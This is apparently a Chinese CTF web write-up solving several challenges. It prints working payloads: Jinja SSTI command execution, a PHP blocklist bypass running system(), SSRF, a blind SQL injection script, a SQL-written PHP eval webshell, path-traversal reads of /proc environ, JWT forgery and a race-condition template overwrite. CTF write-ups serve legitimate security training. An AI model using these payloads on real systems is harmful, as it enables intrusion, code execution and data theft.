“軒轅杯“云盾礪劍CTF挑戰賽 Web wp

文章目錄

      • ezflask
      • ezjs
      • ezrce
      • ezssrf1.0
      • 簽到
      • ezsql1.0
      • ez_web1
        • 非預期
        • 預期解

ezflask

ssti, 過濾了一些關鍵詞, 繞一下就行

name={{url_for["__globals__"]["__builtins__"]["eval"]("__tropmi__"[::-1])('o''s')["po""pen"]("ls /")|attr("read")()}}

在這里插入圖片描述

ezjs

查看源碼可以看到這一段

game._addSuccessFn(function (scoreNow) {current_score.innerHTML = scoreNowif (scoreNow === 100000000000) {fetch('getflag.php', {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded',},body: 'score=' + scoreNow}).then(response => response.text()).then(data => {alert("恭喜你!flag是:" + data);}).catch(error => {console.error('錯誤:', error);});}
})

直接偽造請求就行

在這里插入圖片描述

ezrce

<?php
error_reporting(0);
highlight_file(__FILE__);function waf($a) {$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "register_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval");$disable_fun = array_map('strtolower', $disable_fun);$a = strtolower($a);if (in_array($a, $disable_fun)) {echo "寶寶這對嘛,這不對噢";return false;}return $a;
}$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];if (isset($num) && $num != 1234) {echo "看來第一層對你來說是小case<br>";if (is_numeric($num) && $num > 1234) {echo "還是有點實力的嘛<br>";if (isset($new) && isset($star)) {echo "看起來你遇到難關了哈哈<br>";$b = waf($new); if ($b) { call_user_func($b, $star); echo "恭喜你,又成長了<br>";} }}
}
?>

主要是繞過waf里面被禁用的函數, 可以通過在函數名前面添加一個反斜杠\, 不影響函數的執行, 且waf也沒法檢查出來

?num=12345
new=\system&star=cat /flag

在這里插入圖片描述

ezssrf1.0

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];if ($url == null)die("Try to add ?url=xxxx.");$x = parse_url($url);if (!$x)die("(;_;)");if ($x['host'] === null && $x['scheme'] === 'http') {echo ('Well, Going to ' . $url);$ch = curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($ch);curl_close($ch);echo ($result);
} elseecho "(^-_-^)";

感覺有點抽象, 一直嘗試, 看看哪個有反應

?url=http:@localhost/flag

在這里插入圖片描述

?url=http:@localhost/FFFFF11111AAAAAggggg.php

在這里插入圖片描述

簽到

在這里插入圖片描述

得到l23evel4.php

提示了今年是多少年

在這里插入圖片描述

繼續levelThree.php

F12有提示

在這里插入圖片描述

繼續/level444Four.php

在這里插入圖片描述

繼續: level4545Five.php

在這里插入圖片描述

直接放控制臺就行

在這里插入圖片描述

繼續: zzpufinish.php

在這里插入圖片描述

ezsql1.0

過濾了空格, 可以用/**/繞過,直接布爾盲注打

發現可以執行一些內置函數的操作, 想要查詢卻查不了, 試了了很久, 后面想到可以通過load_file函數讀取文件, 沒被ban, 但是flag不在根目錄下, 讀一下源碼

import requests
import urllib.parse
url="http://27.25.151.26:32384/"headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}
flag = ''
i=1
while True:right = 128left = 32while left <= right:mid = (right + left) // 2params={"id":f"-1/**/or/**/ord(substr(load_file('/var/www/html/index.php')/**/from/**/{i}/**/for/**/1))>{mid}#"}res=requests.get(url=url,params=params,headers=headers,proxies={"http": None, "https": None})if 'admin' in res.text:left=mid+1else:right=mid-1i+=1flag += chr(left)print(flag)

可以拿到源碼

<?php
include('connect.php');$input = $_GET['id'] ?? '';
$result_html = '';if (strpos($input, ' ') !== false) {$result_html = "<p class='error'> hacker</p>";
} else if ($input !== '') {$filtered_input = preg_replace('/select/i', '', $input);$sql = "SELECT id, username, password FROM users WHERE id = $filtered_input";$query = @$conn->query($sql);if ($query && $query->num_rows > 0) {$row = $query->fetch_assoc();// $result_html .= "<table><tr><th>ID</th><th></th><th></th></tr>";$result_html .= "<tr>";$result_html .= "<td>" . htmlspecialchars($row['id']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['username']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['password']) . "</td>";$result_html .= "</tr>";$result_html .= "</table>";} else {$result_html .= "<p class='error'></p>";}
}if ($conn instanceof mysqli && $conn->ping()) {$conn->close();
}
?><!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><title>User Query</title>
</head>
<body><?php echo $result_html; ?>
</body>
</html>

發現是把select替換為空了, 難怪查詢的操作都執行不了
雙寫繞過直接寫馬

?id=-1/**/union/**/seselectlect/**/1,2,'<?=eval($_POST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'%23

/var目錄下可以發現一個db.sql文件, 里面存在flag

在這里插入圖片描述

在這里插入圖片描述

ez_web1

查看源碼, 根據這些信息, 直接猜測出用戶名和密碼: fly233/123456789

在這里插入圖片描述

非預期

進去到里面點擊它的圖書, 會發現跳轉到/read的路由,三本書的路由是一樣的, 但是內容不一樣, 可能是存在POST傳了其他的參數, 抓一下包就可以發現, 直接任意文件讀, 可以直接讀到flag, 直接非預期了

book_path=../../../../proc/1/environ

在這里插入圖片描述

預期解

讀一下源碼

from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwtapp = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokendef decode_token(token):try:payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])return payloadexcept jwt.ExpiredSignatureError:return Noneexcept jwt.InvalidTokenError:return None@app.route('/')
def index():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')username = payload['username']books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]return render_template('./index.html', username=username, books=books)@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'GET':return render_template('./login.html')elif request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users and users[username] == password:token = generate_token(username)response = make_response(jsonify({'message': 'success'}), 200)response.set_cookie('token', token, httponly=True, path='/')return responseelse:return {'message': 'Invalid username or password'}@app.route('/read', methods=['POST'])
def read_book():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')book_path = request.form.get('book_path')full_path = os.path.join(book_dir, book_path)try:with open(full_path, 'r', encoding='utf-8') as file:content = file.read()return render_template('reading.html', content=content)except FileNotFoundError:return "文件未找到", 404except Exception as e:return f"發生錯誤: {str(e)}", 500@app.route('/upload', methods=['GET', 'POST'])
def upload():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')if request.method == 'GET':return render_template('./upload.html')if payload.get('username') != 'admin':return """<script>alert('只有管理員才有添加圖書的權限');window.location.href = '/';</script>"""file = request.files['file']if file:book_path = request.form.get('book_path')file_path = os.path.join(book_path, file.filename)if not os.path.exists(book_path):return "文件夾不存在", 400file.save(file_path)with open(file_path, 'r', encoding='utf-8') as f:content = f.read()pattern = r'[{}<>_%]'if re.search(pattern, content):os.remove(file_path)return """<script>alert('SSTI,想的美!');window.location.href = '/';</script>"""return redirect(url_for('index'))return "未選擇文件", 400

需要偽造admin, 讀/proc/self/environ找到key

JWT_KEY=th1s_1s_k3y
import jwt
SECRET_KEY="th1s_1s_k3y"
def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokentoken_admin=generate_token("admin")
print(token_admin)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U

看到它上傳文件的邏輯, 先把文件保存下來之后去檢查它的文件內容, 如果有不合法的字符, 就把文件給刪除, 這里很明顯可以進行一個競爭去繞過它的字符過濾

一般想要進行ssti是要用到render_template_string這個模塊, 但是這里并沒有導入這個模塊, 所以在這里就上傳一個index.html文件覆蓋掉原先的index.html(或者代碼里面的其他的html文件都可以), 讓它的內容為ssti的rce, 這樣在render_template進行渲染的時候也可以執行ssti的代碼

我們正常上傳的文件路徑是/app/books/xx.txt
然后可以通過參數filename更改上傳的路徑, index.html的路徑是在/app/templates/index.html

可以利用前面的任意文件讀測試這些文件的存在

BurpSuite抓包, 直接在intruder模塊不不斷的發包就行

在這里插入圖片描述

然后不停的刷新瀏覽器, 就可以拿到flag了

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/82508.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/82508.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/82508.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Matlab快速上手五十六:詳解符號運算里假設的用法,通過假設可以設置符號變量的取值范圍,也可以通過假設設置變量屬于集合:整數、正數和實數等

1.符號變量中假設的概念 在符號數學工具箱中&#xff0c;符號變量默認范圍是全體復數&#xff0c;也就是說&#xff0c;符號運算是在全體復數域進行的&#xff0c;若需要運算中&#xff0c;不使用全體復數域&#xff0c;可以為變量設定取值范圍&#xff0c;這就用到了假設&…

【python實用小腳本-79】[HR轉型]Excel難民到數據工程師|用Python實現CSV秒轉JSON(附HRIS系統對接方案)

場景故事&#xff1a;從手動復制粘貼到自動化數據流轉 "Kelly&#xff0c;我們需要把3000名員工的考勤數據導入新HR系統&#xff0c;今天能完成嗎&#xff1f;"去年這個時候&#xff0c;作為HRIS項目負責人的我&#xff0c;面對這個需求時第一反應是打開Excel開始手…

數據透視:水安 B 證如何影響水利企業的生存指數?

某大數據公司提取了 3000 家水利企業的經營數據&#xff0c;一組關聯分析令人震驚&#xff1a;B 證配備率與企業利潤率的相關系數達 0.67—— 這意味著持證率每提升 10%&#xff0c;企業利潤率平均提高 4.2 個百分點。當我們用數據解剖這本紅本本&#xff0c;會發現它像一根無形…

從零搭建上門做飯平臺:高并發訂單系統設計

你知道為什么聰明人都在搶著做上門做飯平臺嗎&#xff1f;因為這可能是餐飲行業最后一片藍海&#xff01;傳統餐飲還在為房租人工發愁時&#xff0c;上門私廚已經輕裝上陣殺出重圍。不需要門店租金&#xff0c;不用養服務員&#xff0c;廚師直接上門服務&#xff0c;成本直降60…

openpi π? 項目部署運行邏輯(四)——機器人主控程序 main.py — aloha_real

π? 機器人主控腳本都在 examples 中&#xff1a; 可以看到包含了多種類機器人適配 此筆記首先記錄了 aloha_real 部分 aloha_real 中&#xff0c;main.py 是 openpi ALOHA 平臺上“主控執行入口”&#xff0c;負責&#xff1a; 建立與推理服務器&#xff08;serve_policy.…

利用 Python 爬蟲獲取唯品會 VIP 商品詳情:實戰指南

在當今電商競爭激烈的環境中&#xff0c;VIP 商品往往是商家的核心競爭力所在。這些商品不僅代表著品牌的高端形象&#xff0c;更是吸引高價值客戶的關鍵。因此&#xff0c;獲取 VIP 商品的詳細信息對于市場分析、競品研究以及優化自身產品策略至關重要。Python 作為一種強大的…

鴻蒙桌面快捷方式開發

桌面快捷方式開發實戰 [參考文檔] (https://developer.huawei.com/consumer/cn/doc/best-practices/bpta-desktop-shortcuts) 在module.json5配置文件中的abilities標簽下的metadata中設置resource屬性值為$profile:shortcuts_config&#xff0c;指定應用的快捷方式配置文件&…

3分鐘學會跨瀏覽器富文本編輯器開發:精準光標定位+內容插入(附完整代碼)

一、痛點直擊&#xff1a;傳統編輯器的三大坑 作為前端開發&#xff0c;你是否遇到過以下靈魂拷問&#xff1f; ? 為什么Firefox光標能精準定位&#xff0c;IE卻永遠跳轉到開頭&#xff1f;? 圖片上傳后如何保證插入位置不偏移&#xff1f;? 跨瀏覽器兼容測試時&#xff0…

RK3562 Linux-5.10 內核HUSB311 Type-C 控制器芯片調試記錄

硬件原理&#xff1a; 1. type C 接口&#xff1a; 1.1 HUSB311芯片&#xff0c; CC1和CC2 邏輯接到HUSB311 上面&#xff0c; 接I2C0組和USBCC_INT_L USBCC_INT_L 接到GPIO0_A6 做為CC的邏輯中斷 1.2 TYPEC_DP/TYPEC_DM 接到ARM 端的USB3.0 OTG上面 1.2 TYPEC_RX1P/TYPEC…

深入理解Java中的BigDecimal:高精度計算的核心工具

精心整理了最新的面試資料和簡歷模板&#xff0c;有需要的可以自行獲取 點擊前往百度網盤獲取 點擊前往夸克網盤獲取 引言 在Java編程中&#xff0c;處理浮點數運算時可能會遇到精度丟失的問題。例如&#xff1a; System.out.println(0.1 0.2); // 輸出&#xff1a;0.30000…

大模型微調(面經總結)

持續更新中 一、LORA篇1、介紹一下Lora的原理2、LoRA 是為了解決什么問題提出的&#xff1f;哪些模型適合用 LoRA 微調&#xff1f;什么是低秩分解&#xff1f;**低秩分解&#xff1a;用小矩陣逼近大矩陣** 3、LoRA初始化4、LoRA初始化秩 r 是怎么選的&#xff1f;為什么不選其…

Camera相機人臉識別系列專題分析之一:人臉識別系列專題SOP及理論知識介紹

【關注我&#xff0c;后續持續新增專題博文&#xff0c;謝謝&#xff01;&#xff01;&#xff01;】 上一篇我們講了&#xff1a;內存泄漏和內存占用拆解系列專題 這一篇我們開始講&#xff1a; Camera相機人臉識別系列專題分析之一&#xff1a;人臉識別系列專題SOP及理論知識…

【Elasticsearch】PUT` 請求覆蓋式更新

是的&#xff0c;Elasticsearch 中的 PUT 請求是覆蓋式的。當你使用 PUT 請求向索引中寫入文檔時&#xff0c;如果文檔已經存在&#xff0c;Elasticsearch 會完全替換整個文檔的內容&#xff0c;而不是進行部分更新。 覆蓋式的具體行為 - 文檔存在時&#xff1a;PUT 請求會用新…

計算機系統結構-第4章-數據級并行

數據集并行的概念: 并行場景1: 對不同數據執行相同的操作: 串行執行: 可以同時進行: 可以嘗試一個多條指令,多核執行 引入: SISD: 單核,單線程,串行執行,這樣耗時 MIMD: 多核,多線程,并行執行,一條指令多次重復,變成了MIMID 存在的問題: 在標量CPU流水線中&#xff0…

重新安裝解決mac vscode點擊不能跳轉問題

依次執行以下過程 刪除vscode程序 刪除vscode的緩存文件夾(xxx表示你的用戶名) /Users/xxx/Library/Application Support/Code 重新安裝vscode 這時候你會反向可以跳轉項目內的import 文件以及自定義函數。但是import安裝的包還不能點擊跳轉 配置python環境 如果你電腦沒有安…

題目 3334: 藍橋杯2025年第十六屆省賽真題-園藝

題目 3334: 藍橋杯2025年第十六屆省賽真題-園藝 時間限制: 2s 內存限制: 192MB 提交: 129 解決: 37 題目描述 小藍從左到右種了 n 棵小樹&#xff0c;第 i 棵樹的高度為 hi &#xff0c;相鄰樹的間隔相同。 小藍想挪走一些樹使得剩下的樹等間隔分布&#xff0c;且從左到右高度逐…

Chrome 開發中的任務調度與線程模型實戰指南

內容 概述 快速入門指南 核心概念線程詞典 線程任務優先使用序列而不是物理線程 發布并行任務 直接發布到線程池通過 TaskRunner 發布 發布順序任務 發布到新序列發布到當前&#xff08;虛擬&#xff09;主題 使用序列代替鎖將多個任務發布到同一線程 發布到瀏覽器進程中的主線…

詳解osgb的頂點,紋理,索引,UV讀取與存儲

virtual void apply(osg::Geode& node) {for (int i 0; i < node.getNumDrawables(); i){osg::Geometry* geometry dynamic_cast<osg::Geometry*>(node.getDrawable(i));if (geometry){//apply(*g);//***********************************************//解析頂點…

CSS闖關指南:從手寫地獄到“類”積木之旅|得物技術

一、背景 在Web開發網頁設計中&#xff0c;CSS&#xff08;層疊樣式表&#xff09;扮演著至關重要的角色&#xff0c;它用于控制網頁的布局、外觀和視覺效果。CSS不僅可以美化網頁的視覺表現&#xff0c;還可以提高網頁的可訪問性、可維護性和響應式設計。在我們進行網頁開發的…

【大模型應用開發】Qwen2.5-VL-3B識別視頻

0. 編寫代碼并嘗試運行 克隆以下代碼 git clone https://gitee.com/ai-trailblazer/qwen-vl-hello.git 嘗試運行qwen-vl-hello.py&#xff0c;報錯原因缺少modelscope&#xff1a; 1. 安裝qwen-vl-utils工具包 pip install qwen-vl-utils[decord]0.0.8 嘗試運行&#xff0c;…